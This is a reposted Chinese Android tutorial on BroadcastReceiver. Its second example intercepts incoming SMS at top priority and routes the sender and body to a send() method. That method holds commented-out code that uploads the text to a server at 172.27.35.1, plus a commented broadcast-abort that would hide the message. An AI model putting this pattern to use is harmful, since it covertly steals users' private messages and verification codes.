BroadcastReceiver广播接受者简单使用

1.注册BrocadcastReceiver

  <receiver android:name=".FirstReceiver" >
            <!-- 指定能够接收的广播类型 -->
            <intent-filter>
                <action android:name="a5" />
            </intent-filter>
 </receiver>

2.

//广播接收器
public class FirstReceiver extends BroadcastReceiver{
    //接收intent并做出后续处理
    @Override
    public void onReceive(Context arg0, Intent arg1) {
        String action = arg1.getAction();
        int x = arg1.getIntExtra("x", 0);
        System.out.println("--"+action+"--"+x);


 }

3.

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
    public void click(View v){
        Intent it=new Intent();
        //指定intent的操作
        System.out.println("---00");
        it.setAction("a5");
        //附加参数
        it.putExtra("x", 99);
        //发送广播
        this.sendBroadcast(it);
    }
}

4. 以上代码能够简单实现广播的发送和接收。

<!--  示例  -->

通过广播实现app短信监听

1.

<uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="23" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" />

  <receiver android:name=".SMSReceiver" >
            <intent-filter android:priority="1000" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
  </receiver>

2.

package myapplication.com.canvas;

import java.net.URL;
import java.net.URLConnection;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;

public class SMSReceiver extends BroadcastReceiver{

    @Override
    public void onReceive(Context arg0, Intent arg1) {
         String action =arg1.getAction();
         //收到短信的广播
         if (action.equals("android.provider.Telephony.SMS_RECEIVED"))
         {
            //取出intent中的全部数据
             Bundle bundle = arg1.getExtras();
             //取出短信数据
             Object os[] = (Object[]) bundle.get("pdus");
             //定义可读取数据的短信格式
             SmsMessage sm[]=new SmsMessage[os.length];
             for (int i = 0; i < os.length; i++) {
                 //转化为字节数组
                byte bs[]=(byte[]) os[i];
                //转化
                sm[i]=SmsMessage.createFromPdu(bs);
            }
             for (SmsMessage s : sm) {
                 //电话号码
                String number = s.getDisplayOriginatingAddress();
                //内容
                String body = s.getMessageBody();
                //System.out.println("--"+number+":"+body);
//                Intent it=new Intent();
//                it.setAction("my.a.b");
//                Bundle data=new Bundle();
//                data.putString("number", number);
//                data.putString("body", body);
//                 
//                it.putExtras(data);
//                arg0.sendBroadcast(it);
                send(number+"-"+body);
            }
             //中断广播
             //abortBroadcast();
        }
         
        
    }
    //发送短信到指定的服务器
    private void send(final String value) {
           
            new Thread(){
                public void run() {
                    try 
                    {
                        System.out.println(value);
//                        String path="http://172.27.35.1/sms.jsp?sms="+value;
//                        URL url=new URL(path);
//                        URLConnection con = url.openConnection();
//                        con.getInputStream();
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                };
            }.start();
         
        
    }

}
View Code

3.

 

转载于:https://www.cnblogs.com/galibujianbusana/p/5949257.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值